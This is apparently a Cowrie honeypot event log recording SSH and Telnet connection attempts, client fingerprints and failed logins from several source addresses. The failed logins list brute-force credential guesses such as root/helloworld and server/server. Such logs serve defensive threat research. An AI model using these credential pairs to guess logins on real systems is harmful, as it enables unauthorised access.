{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37398,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e5645d48ab5","protocol":"telnet","message":"New connection: 152.42.224.71:37398 (10.17.0.5:23) [session: 5e5645d48ab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:09.852004Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38908,"dst_ip":"159.203.135.109","dst_port":22,"session":"330951832c4e","protocol":"ssh","message":"New connection: 192.109.200.237:38908 (159.203.135.109:22) [session: 330951832c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:11.323999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:11.328465Z","src_ip":"192.109.200.237","session":"330951832c4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:11.414189Z","src_ip":"192.109.200.237","session":"330951832c4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloworld","message":"login attempt [root/helloworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:11.688806Z","src_ip":"192.109.200.237","session":"330951832c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37406,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5916d2cc1cd","protocol":"telnet","message":"New connection: 152.42.224.71:37406 (10.17.0.5:23) [session: b5916d2cc1cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:12.238073Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:12.774264Z","src_ip":"192.109.200.237","session":"330951832c4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38920,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b519ad873e1","protocol":"ssh","message":"New connection: 192.109.200.237:38920 (159.203.135.109:22) [session: 9b519ad873e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:14.834445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:14.841500Z","src_ip":"192.109.200.237","session":"9b519ad873e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:14.924139Z","src_ip":"192.109.200.237","session":"9b519ad873e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:15.176822Z","src_ip":"192.109.200.237","session":"9b519ad873e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65106,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a8242833554","protocol":"ssh","message":"New connection: 194.59.206.2:65106 (159.203.135.109:22) [session: 6a8242833554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:15.604770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:15.609779Z","src_ip":"194.59.206.2","session":"6a8242833554","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:15.696261Z","src_ip":"194.59.206.2","session":"6a8242833554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:15.889078Z","src_ip":"194.59.206.2","session":"6a8242833554","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:16.261544Z","src_ip":"192.109.200.237","session":"9b519ad873e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50160,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34e44b89115","protocol":"telnet","message":"New connection: 152.42.224.71:50160 (10.17.0.5:23) [session: e34e44b89115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:16.749040Z"}
{"eventid":"cowrie.session.closed","duration":25.271486520767212,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.066622Z","src_ip":"152.42.224.71","session":"113309c1af90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38934,"dst_ip":"159.203.135.109","dst_port":22,"session":"52d1ea172017","protocol":"ssh","message":"New connection: 192.109.200.237:38934 (159.203.135.109:22) [session: 52d1ea172017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.178165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.182709Z","src_ip":"192.109.200.237","session":"52d1ea172017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":44638,"dst_ip":"10.17.0.5","dst_port":22,"session":"497afa78af33","protocol":"ssh","message":"New connection: 62.133.63.178:44638 (10.17.0.5:22) [session: 497afa78af33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.214549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.219853Z","src_ip":"62.133.63.178","session":"497afa78af33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.264729Z","src_ip":"192.109.200.237","session":"52d1ea172017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.343551Z","src_ip":"62.133.63.178","session":"497afa78af33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"teamspeak","message":"login attempt [teamspeak/teamspeak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.514419Z","src_ip":"192.109.200.237","session":"52d1ea172017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"6666","message":"login attempt [root/6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:18.717718Z","src_ip":"62.133.63.178","session":"497afa78af33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:19.599867Z","src_ip":"192.109.200.237","session":"52d1ea172017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:19.843759Z","src_ip":"62.133.63.178","session":"497afa78af33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48030,"dst_ip":"159.203.135.109","dst_port":22,"session":"53bd4b2b6824","protocol":"ssh","message":"New connection: 192.109.200.237:48030 (159.203.135.109:22) [session: 53bd4b2b6824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:21.426563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:21.431255Z","src_ip":"192.109.200.237","session":"53bd4b2b6824","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:21.514295Z","src_ip":"192.109.200.237","session":"53bd4b2b6824","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:21.925957Z","src_ip":"192.109.200.237","session":"53bd4b2b6824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:23.014418Z","src_ip":"192.109.200.237","session":"53bd4b2b6824","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.276015520095825,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:24.542682Z","src_ip":"152.42.224.71","session":"b5f40226bea5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48036,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cfadefe89eb","protocol":"ssh","message":"New connection: 192.109.200.237:48036 (159.203.135.109:22) [session: 6cfadefe89eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:24.959445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:25.043092Z","src_ip":"192.109.200.237","session":"6cfadefe89eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:25.126334Z","src_ip":"192.109.200.237","session":"6cfadefe89eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:25.372924Z","src_ip":"192.109.200.237","session":"6cfadefe89eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:26.458289Z","src_ip":"192.109.200.237","session":"6cfadefe89eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52530,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f425e0a46f3","protocol":"ssh","message":"New connection: 87.251.79.125:52530 (10.17.0.5:22) [session: 3f425e0a46f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:26.821765Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:26.826628Z","src_ip":"87.251.79.125","session":"3f425e0a46f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:26.900079Z","src_ip":"87.251.79.125","session":"3f425e0a46f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerrewq","message":"login attempt [root/qwerrewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:27.120131Z","src_ip":"87.251.79.125","session":"3f425e0a46f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:22:28.196454Z","src_ip":"87.251.79.125","session":"3f425e0a46f3","protocol":"ssh"}
